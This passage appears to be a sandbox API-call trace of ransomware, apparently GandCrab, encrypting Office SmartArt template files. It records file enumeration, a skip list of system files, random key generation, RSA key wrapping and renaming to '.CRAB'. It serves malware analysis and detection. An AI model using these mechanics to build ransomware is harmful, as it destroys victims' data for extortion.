	[0118.127] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.127] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.127] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.128] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.128] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0118.129] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdee128) returned 1
	[0118.129] CryptGetKeyParam (in: hKey=0xdee128, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.129] CryptEncrypt (in: hKey=0xdee128, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0118.129] GetLastError () returned 0x0
	[0118.129] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.129] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0118.130] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedb68) returned 1
	[0118.130] CryptGetKeyParam (in: hKey=0xdedb68, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.130] CryptEncrypt (in: hKey=0xdedb68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0118.130] GetLastError () returned 0x0
	[0118.130] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.130] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328916[[fn=Converging Text]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328916[[fn=converging text]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0118.131] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.131] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0118.131] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x2c74, lpOverlapped=0x0) returned 1
	[0118.155] VirtualAlloc (lpAddress=0x0, dwSize=0x2c80, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.156] VirtualAlloc (lpAddress=0x0, dwSize=0x2c80, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.156] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.157] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffd38c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.157] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x2c80, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x2c80, lpOverlapped=0x0) returned 1
	[0118.157] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.157] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.161] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.162] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.162] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.162] CloseHandle (hObject=0x3fc) returned 1
	[0118.163] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.163] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.163] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.163] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.164] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.164] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.164] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.164] lstrcmpW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2=".") returned 1
	[0118.164] lstrcmpW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2="..") returned 1
	[0118.164] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328919[[fn=Hexagon Radial]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox"
	[0118.164] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.165] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned 140
	[0118.165] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned 140
	[0118.165] lstrlenW (lpString=".glox") returned 5
	[0118.165] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.165] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0118.165] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.165] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned 140
	[0118.165] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox") returned 140
	[0118.165] lstrcmpiW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2="desktop.ini") returned 1
	[0118.165] lstrcmpiW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2="autorun.inf") returned 1
	[0118.165] lstrcmpiW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2="ntuser.dat") returned 1
	[0118.166] lstrcmpiW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2="iconcache.db") returned 1
	[0118.166] lstrcmpiW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2="bootsect.bak") returned 1
	[0118.166] lstrcmpiW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2="boot.ini") returned 1
	[0118.166] lstrcmpiW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2="ntuser.dat.log") returned 1
	[0118.166] lstrcmpiW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2="thumbs.db") returned 1
	[0118.166] lstrcmpiW (lpString1="TM03328919[[fn=Hexagon Radial]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.166] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.166] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox.CRAB") returned 145
	[0118.166] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328919[[fn=hexagon radial]].glox")) returned 0x20
	[0118.166] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox", dwFileAttributes=0x20) returned 1
	[0118.167] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328919[[fn=hexagon radial]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328919[[fn=hexagon radial]].glox.crab")) returned 1
	[0118.168] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.168] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox.CRAB"
	[0118.168] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox.CRAB.CRAB"
	[0118.168] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e5a0) returned 1
	[0118.169] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.169] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.169] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.170] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0118.170] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0118.170] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.170] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ed98) returned 1
	[0118.170] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.171] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.171] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.171] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0118.171] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0118.171] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.171] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0118.172] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0118.172] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0118.172] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedc28) returned 1
	[0118.172] CryptGetKeyParam (in: hKey=0xdedc28, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.172] CryptEncrypt (in: hKey=0xdedc28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0118.173] GetLastError () returned 0x0
	[0118.173] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0118.173] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e9e0) returned 1
	[0118.173] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xdedba8) returned 1
	[0118.173] CryptGetKeyParam (in: hKey=0xdedba8, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0118.174] CryptEncrypt (in: hKey=0xdedba8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0118.174] GetLastError () returned 0x0
	[0118.174] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0118.174] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328919[[fn=Hexagon Radial]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328919[[fn=hexagon radial]].glox.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0118.175] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0118.175] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0118.175] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x1788, lpOverlapped=0x0) returned 1
	[0118.206] VirtualAlloc (lpAddress=0x0, dwSize=0x1790, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0118.207] VirtualAlloc (lpAddress=0x0, dwSize=0x1790, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0118.207] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.207] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffe878, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0118.208] WriteFile (in: hFile=0x3fc, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3147f1c*=0x1790, lpOverlapped=0x0) returned 1
	[0118.208] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.208] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.212] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.212] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0118.212] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0118.212] CloseHandle (hObject=0x3fc) returned 1
	[0118.214] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.214] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.214] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.215] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.215] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.215] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.215] FindNextFileW (in: hFindFile=0xda3f20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0118.215] lstrcmpW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2=".") returned 1
	[0118.215] lstrcmpW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2="..") returned 1
	[0118.215] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328925[[fn=Interconnected Block Process]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox"
	[0118.215] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0118.216] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned 154
	[0118.216] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned 154
	[0118.216] lstrlenW (lpString=".glox") returned 5
	[0118.216] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.216] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".glox ") returned 6
	[0118.216] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0118.217] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned 154
	[0118.217] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox") returned 154
	[0118.217] lstrcmpiW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2="desktop.ini") returned 1
	[0118.217] lstrcmpiW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2="autorun.inf") returned 1
	[0118.217] lstrcmpiW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2="ntuser.dat") returned 1
	[0118.217] lstrcmpiW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2="iconcache.db") returned 1
	[0118.217] lstrcmpiW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2="bootsect.bak") returned 1
	[0118.217] lstrcmpiW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2="boot.ini") returned 1
	[0118.217] lstrcmpiW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2="ntuser.dat.log") returned 1
	[0118.217] lstrcmpiW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2="thumbs.db") returned 1
	[0118.217] lstrcmpiW (lpString1="TM03328925[[fn=Interconnected Block Process]].glox", lpString2="CRAB-DECRYPT.txt") returned 1
	[0118.217] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0118.217] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox.CRAB") returned 159
	[0118.217] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328925[[fn=interconnected block process]].glox")) returned 0x20
	[0118.218] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox", dwFileAttributes=0x20) returned 1
	[0118.219] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328925[[fn=interconnected block process]].glox"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\smartart graphics\\1033\\tm03328925[[fn=interconnected block process]].glox.crab")) returned 1
	[0118.220] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0118.220] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox.CRAB"
	[0118.220] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328925[[fn=Interconnected Block Process]].glox.CRAB.CRAB"
	[0118.220] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6ec00) returned 1
	[0118.221] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0118.221] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0118.222] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0118.228] CryptGenRandom (in: hProv=0xd6ec00, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0118.228] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
